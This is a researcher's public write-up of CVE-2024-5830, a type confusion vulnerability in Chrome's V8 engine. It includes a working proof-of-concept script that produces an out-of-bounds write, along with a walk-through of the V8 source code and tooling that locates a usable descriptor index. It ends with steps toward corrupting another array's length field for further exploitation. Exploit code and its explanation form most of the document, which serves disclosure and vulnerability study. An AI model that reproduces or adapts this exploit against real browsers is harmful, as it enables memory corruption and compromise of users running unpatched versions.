author: @buptsb, @mistymntncop
2024-06-21 07:25:47

https://x.com/buptsb/status/1803971146435694991

This writeup is the FIRST public disclosure for this vulnerability.

Info

[$25000][342456991] High CVE-2024-5830: Type Confusion in V8. Reported by Man Yue Mo of GitHub Security Lab on 2024-05-24
https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html
https://chromium-review.googlesource.com/c/v8/v8/+/5588058

git checkout cbd847cb1c2eaa126f0b96f002241c2ef5aa7c89^

This feature/bug was added in M125 on 2024.03.19:
Reland "[object] Fast path for adding props with existing transition"
https://chromium-review.googlesource.com/c/v8/v8/+/5378402
https://chromiumdash.appspot.com/commits?commit=f6b1dd8ec7cad9f9794b5176be1bed7e06584015&platform=Linux
image

PoC

https://gist.github.com/buptsb/c4666cce54b1beae54adb4a4bb9d0390

var victim;

const N = 121;
const heapnumber_key = 63;
const prefix = "pp";
const property_details_value = 0x21;
// u may need to change this `oob_write_offset` based on the victim array's addresss
const oob_write_offset = 0x3e0000;

const first_getter_index = 4;
var flag = false;

let source1 = {pp0: 0, pp1: 1, pp2: 2, pp3: 3, get pp4() { return 4; },pp5: 5, pp6: 6, pp7: 7, pp8: 8, pp9: 9, pp10: 10, pp11: 11, pp12: 12, pp13: 13, pp14: 14, pp15: 15, pp16: 16, pp17: 17, pp18: 18, pp19: 19, pp20: 20, pp21: 21, pp22: 22, pp23: 23, pp24: 24, pp25: 25, pp26: 26, pp27: 27, pp28: 28, pp29: 29, pp30: 30, pp31: 31, pp32: 32, pp33: 33, pp34: 34, pp35: 35, pp36: 36, pp37: 37, pp38: 38, pp39: 39, pp40: 40, pp41: 41, pp42: 42, pp43: 43, pp44: 44, pp45: 45, pp46: 46, pp47: 47, pp48: 48, pp49: 49, pp50: 50, pp51: 51, pp52: 52, pp53: 53, pp54: 54, pp55: 55, pp56: 56, pp57: 57, pp58: 58, pp59: 59, pp60: 60, pp61: 61, pp62: 62, pp63: 63, pp64: 64, pp65: 65, pp66: 66, pp67: 67, pp68: 68, pp69: 69, pp70: 70, pp71: 71, pp72: 72, pp73: 73, pp74: 74, pp75: 75, pp76: 76, pp77: 77, pp78: 78, pp79: 79, pp80: 80, pp81: 81, pp82: 82, pp83: 83, pp84: 84, pp85: 85, pp86: 86, pp87: 87, pp88: 88, pp89: 89, pp90: 90, pp91: 91, pp92: 92, pp93: 93, pp94: 94, pp95: 95, pp96: 96, pp97: 97, pp98: 98, pp99: 99, pp100: 100, pp101: 101, pp102: 102, pp103: 103, pp104: 104, pp105: 105, pp106: 106, pp107: 107, pp108: 108, pp109: 109, pp110: 110, pp111: 111, pp112: 112, pp113: 113, pp114: 114, pp115: 115, pp116: 116, pp117: 117, pp118: 118, pp119: 119, pp120: 1, get pp121() { return callback(); },};
let source2 = {pp0: 0, pp1: 1, pp2: 2, pp3: 3, get pp4() { return 4; },pp5: 5, pp6: 6, pp7: 7, pp8: 8, pp9: 9, pp10: 10, pp11: 11, pp12: 12, pp13: 13, pp14: 14, pp15: 15, pp16: 16, pp17: 17, pp18: 18, pp19: 19, pp20: 20, pp21: 21, pp22: 22, pp23: 23, pp24: 24, pp25: 25, pp26: 26, pp27: 27, pp28: 28, pp29: 29, pp30: 30, pp31: 31, pp32: 32, pp33: 33, pp34: 34, pp35: 35, pp36: 36, pp37: 37, pp38: 38, pp39: 39, pp40: 40, pp41: 41, pp42: 42, pp43: 43, pp44: 44, pp45: 45, pp46: 46, pp47: 47, pp48: 48, pp49: 49, pp50: 50, pp51: 51, pp52: 52, pp53: 53, pp54: 54, pp55: 55, pp56: 56, pp57: 57, pp58: 58, pp59: 59, pp60: 60, pp61: 61, pp62: 62, pp63: 63, pp64: 64, pp65: 65, pp66: 66, pp67: 67, pp68: 68, pp69: 69, pp70: 70, pp71: 71, pp72: 72, pp73: 73, pp74: 74, pp75: 75, pp76: 76, pp77: 77, pp78: 78, pp79: 79, pp80: 80, pp81: 81, pp82: 82, pp83: 83, pp84: 84, pp85: 85, pp86: 86, pp87: 87, pp88: 88, pp89: 89, pp90: 90, pp91: 91, pp92: 92, pp93: 93, pp94: 94, pp95: 95, pp96: 96, pp97: 97, pp98: 98, pp99: 99, pp100: 100, pp101: 101, pp102: 102, pp103: 103, pp104: 104, pp105: 105, pp106: 106, pp107: 107, pp108: 108, pp109: 109, pp110: 110, pp111: 111, pp112: 112, pp113: 113, pp114: 114, pp115: 115, pp116: 116, pp117: 117, pp118: 118, pp119: 119, pp120: 1, get pp121() { return 1; }, pp122: 1};
let source3 = {
  pp0: 1,
  pp1: 1,
  pp2: 1.1,
  pp3: 1,
  get pp4() {
    return 1;
  },
};
source1[`${prefix}${heapnumber_key}`] = oob_write_offset / 2;

function cloneic_mega(src) {
  var obj = { ...src, __proto__: null};  
  return obj;
}

function callback() {
  flag = false;
  cloneic_mega(source3);

  // no more transitions allowed
  const max = 1024 + 512;
  // to speed up debugging, u could change `kMaxNumberOfTransitions` into 128
  // const max = 128;

  for (let i = 0; i < max; i++) {
    let tmp = cloneic_mega(source3); 
    eval(`tmp.${prefix}__${i} = ${i}`);
  }
  init_victim_array();
  // %SystemBreak();
  return property_details_value;
}

function init_victim_array() {
  victim = new Array(0x2000);
  victim.fill(0);
  %DebugPrint(victim);
  console.log("sum: ", victim.reduce((a, b) => a + b));
  console.log("=============== oob write ==============");
}

%PrepareFunctionForOptimization(cloneic_mega);
cloneic_mega(source2);

flag = true;
cloneic_mega(source1);

console.log("sum: ", victim.reduce((a, b) => a + b));
// %SystemBreak();

image

Analysis

TLDR

bool TryFastAddDataProperty(object, name, value, attributes) {
  new_map = TransitionsAccessor(object->map()).SearchTransition(*name);
  InternalIndex descriptor = map->LastAdded();  // [1]
  new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                        PropertyConstness::kConst, value);
  JSObject::MigrateToMap(isolate, object, new_map);
  object->WriteToField(descriptor, details, *value); // [2]
}

Handle<Map> Map::PrepareForDataProperty(map, ...) {
  map = Update(isolate, map);   // [3]
  DCHECK(!map->is_dictionary_map());  // [4]
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value); // [5]
}

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Tagged<Object> value) {
  if (details.representation().IsDouble()) {
    ...
    auto box = HeapNumber::cast(RawFastPropertyAt(index));  // [6]
    box->set_value_as_bits(bits);  // [7]
  } else {
    ...
  }
}

Map::PrepareForDataProperty() did not handle the situation which MapUpdater::Update() bailout with a dict map,
then we confuse a slow mode object -> fast mode object, we migrate into the dict map and write into the properties of a dict mode object.

As the dict map's property descriptors is an empty FixedArray lives in ReadOnly heap space, we could control the read out PropertyDetails by crafting the target object and the index/offset of the name.

Finally in JSObject::WriteToField() [6], we could take a Smi value in user controlled dict as a boxed HeapNumber,
and trigger a OOB write at any address.

[[CreateDataProperty]]

https://tc39.es/ecma262/#sec-createdataproperty

First we need to find out how to build a call from user js -> createdataproperty, as normal property named/keyed set does not take this path.

The users of [[CreateDataProperty]] are:

After some research i found CVE-2022-0102 by Brendon Tiszka
https://issues.chromium.org/issues/40057609

Seems like we could call into TryFastAddDataProperty in a megamophic CloneObjectIC function:

AccessorAssembler::GenerateCloneObjectIC()
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/accessor-assembler.cc;drc=98eb9e2fb0b17373a3726a0f4d56fed3eb63f88f;l=5204
JSReceiver::SetOrCopyDataProperties()
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=90cac1911508d3d682a67c97aa62483eb712f69a;l=492

Create a mega CloneObjectIC function:

function foo(src) {
    var obj = { ...src, __proto__: null};  
    return obj;
}
for (let i = 0; i < 10; i++) {
  foo({});
}
foo({p1: 1});
%DebugPrint(foo);

Output:

 - slot #0 CloneObject MEGAMORPHIC {
     [0]: 0x2a8f00000e4d <Symbol: (megamorphic_symbol)>
     [1]: [cleared]
  }

Now we could use%CreateDataProperty(object, name, value) runtime function first for convenience.

bailout from MapUpdater with a dict mode map

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/map-updater.cc;drc=9b681d2b33312ad9fd328ae77700dfc88f73049a;l=1071

It's also a classic technique in v8 exploit, which fullfil the transition array and MapUpdater::ConstructNewMap() would bailout with a dict mode map.

craft a double representation descriptor for WriteField()

What we could control is the descriptor(which is a index) from new_map->LastAdded(), then we would load PropertyDetails
using this descriptor from dict map's empty DescriptorArray.

Out first target is return a dict mode map from MapUpdater::ReconfigureToDataField().

Handle<Map> MapUpdater::ReconfigureToDataField(InternalIndex descriptor,
                                               PropertyAttributes attributes,
                                               PropertyConstness constness,
                                               Representation representation,
                                               Handle<FieldType> field_type) {
  ...
  PropertyDetails old_details = old_descriptors_->GetDetails(modified_descriptor_);
  ...
  if (TryReconfigureToDataFieldInplace() == kEnd) return result_map_;
  if (FindRootMap() == kEnd) return result_map_;
  if (FindTargetMap() == kEnd) return result_map_;
  if (ConstructNewMap() == kAtIntegrityLevelSource) {
    ConstructNewMapWithIntegrityLevelTransition();
  }
  return result_map_;
}

MapUpdater::TryReconfigureToDataFieldInplace() would first compare if the old/new details and see if we could reconfigure the map in place.

If the result is positive, it would call into MapUpdater::GeneralizeField() and then DescriptorArray::Replace() to update the existing descriptor. As dict map's descriptors live in RO space, if we call into this chain and write into the RO space we would segfault then.

MapUpdater::State MapUpdater::TryReconfigureToDataFieldInplace() {
  ...
  if (old_details.attributes() != new_attributes_ ||
      old_details.kind() != new_kind_ ||
      old_details.location() != new_location_) {
    // These changes can't be done in-place.
    return state_;  // Not done yet.
  }

  Representation old_representation = old_details.representation();
  if (!old_representation.CanBeInPlaceChangedTo(new_representation_)) {
    return state_;  // Not done yet.
  }
  ...
  GeneralizeField(old_map_, modified_descriptor_, new_constness_,
                  new_representation_, new_field_type_);
  ...
}

void MapUpdater::GeneralizeField(...) {
  ...
  UpdateFieldType(isolate, field_owner, modify_index, name, new_constness,
                  new_representation, new_field_type);
  ...
}

As the heap RO space's content is deserialized from snapshot.bin, so its content is fixed. We could search through the map for:

  1. kAccessor kind, value == 1
  2. kDouble representation, value == 2

We patched %DebugPrint() and wrote a js parser for this:

RUNTIME_FUNCTION(Runtime_DebugPrint) {
  SealHandleScope shs(isolate);

  if (args.length() == 0) {
    // This runtime method has variable number of arguments, but if there is no
    // argument, undefined behavior may happen.
    return ReadOnlyRoots(isolate).undefined_value();
  }

  // This is exposed to tests / fuzzers; handle variable arguments gracefully.
  std::unique_ptr<std::ostream> output_stream(new StdoutStream());
  if (args.length() == 2) {
    if (IsSmi(args[1])) {
      HandleScope hs(isolate);
      auto v = Smi::ToInt(*args.at<Smi>(0));
      auto flag = Smi::ToInt(*args.at<Smi>(1));
      int result = 0;
      if (flag == 0) {
        result = PropertyDetails::FieldIndexField::decode(v >> 1);
      } else if (flag == 1) {
        result = PropertyDetails::RepresentationField::decode(v >> 1);
      } else if (flag == 2) {
        result = static_cast<int>(PropertyDetails::KindField::decode(v >> 1));
      }
      return *isolate->factory()->NewHeapNumber(result);
    }
  }

  Tagged<MaybeObject> maybe_object(*args.address_of_arg_at(0));
  DebugPrintImpl(maybe_object, *output_stream);
  return args[0];
}
// d8 --soft-abort --allow-natives-syntax parser.js 

let s = `0x33be00000768: 0x000004cd      0x5f000000      0x0d000112      0x084003ff
0x33be00000778: 0x00000085      0x00000085      0x00000759      0x00000735
0x33be00000788: 0x00000000      0x00000000      0x000004cd      0x57000000
<...omitted...>`;

let lines = s.split("\n");
lines = lines.map(l => l.split(":")[1]);

let items = [];
lines.map(line => {
  let a = line.split(" ").filter(_ => _);
  items.push(a);
})

function test(v, flag) {
  let n = parseInt(v, 16);
  // return `v8::base::BitField<unsigned int, 19, 10>::decode(Smi::ToInt(*target) >> 1)`
  let result = eval(`%DebugPrint(${n}, ${flag})`)
  return result;
}

let counter = 0;
let results = [];
for (let i = 0; i < items.length; i++) {
  items[i].map(b => {
    if (counter % 3 !== 1) {
      counter++;
      return;
    }
    counter++;
    results.push({
      offset: Math.floor(counter / 3),
      binary: b,
      fieldIndex: test(b, 0),
      repr: test(b, 1),
      kind: test(b, 2),
     });
  })
}

results = results.filter(o => o.fieldIndex);
console.log(JSON.stringify(results));

Now we search for items with "repr": 2, "kind": 1, we have a descriptor index: 121.

any addr write in JSObject::WriteToField()

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Tagged<Object> value) {
  if (details.representation().IsDouble()) {
    ...
    auto box = HeapNumber::cast(RawFastPropertyAt(index));  // [6]
    box->set_value_as_bits(bits);  // [7]
  } else {
    ...
  }
}

extern class HeapNumber extends PrimitiveHeapObject {
  value: float64;
}

extern class PrimitiveHeapObject extends HeapObject {}

Tagged<Object> JSObject::RawFastPropertyAt(PtrComprCageBase cage_base,
                                           FieldIndex index) const {
  if (index.is_inobject()) {
    return TaggedField<Object>::Relaxed_Load(cage_base, *this, index.offset());
  } else {
    return property_array(cage_base)->get(cage_base,
                                          index.outobject_array_index());
  }
}

int outobject_array_index() const {
  return index() - first_inobject_property_offset() / kTaggedSize;
}

Now we have a oob read into dict object's PropertiesArray, which is a NameDictionary.

JSObject::WriteToField() would

  1. read ptr from PropertiesArray offset, which shoule be inside of the dict range
  2. reinterpret this ptr as a HeapNumber ptr
  3. deref and write into its value

So we need to craft this dict to make descriptor 121's outobject_array_index() a non-empty field, then we could write user controlled value into it.

NameDictionary's a hashtable, which is a FixedArray underneath.

map
length
static const int kNumberOfElementsIndex = 0;
static const int kNumberOfDeletedElementsIndex = 1;
static const int kCapacityIndex = 2;
static const int kPrefixStartIndex = 3;
N * [
kEntryKeyIndex = 0
kEntryValueIndex = 1
kEntryDetailsIndex = 2
]

Luckly, the offset is exactly at one of the kEntryValueIndex field, but we have hit into a used empty field as NameDictionary allocate more memory then it used.

Then we try different object keys(from pN into ppN) which could affect the dict hash function to make sure we hit into a used field.

rewind: use getter callback to trigger TryFastAddDataProperty in CloneObjectIC

With the classic getter callback and some techniques to make result objects sharing the same transitions tree.

further exploitation

We could alignt the objects as:

let victim = new Array(0x1000);
victim.fill(0);
let victim2 = [1, 1, 1];

Trigger oob write at oob_write_offset, which should be in the middle of somewhere in the victim’s fixedarray.
then we could iterate the victim array and get the index we have wrote.

(maybe we need to trigger gc)

Do the oob write again, modify the addr to oob_write_offset + [(victim length - last wrote index) * 4] + [offset to victim2’s fixedarray’s length field], then we could write into victim2's length field.

epilogue

If u are interested, u could check out my working notes on this.
https://docs.google.com/document/d/e/2PACX-1vR0g9ayfVeOp-SScDimD2Nloo4J8lvA1xUTxdin19skMqIMrdgQXRYJCtWhzRpb1APaM0nsTWn_yCWS/pub

If u find the DCHECKs are not firing on debug builds, u could try this commit bf4298bafd04910c2cd634738ae73f4a4151b47d.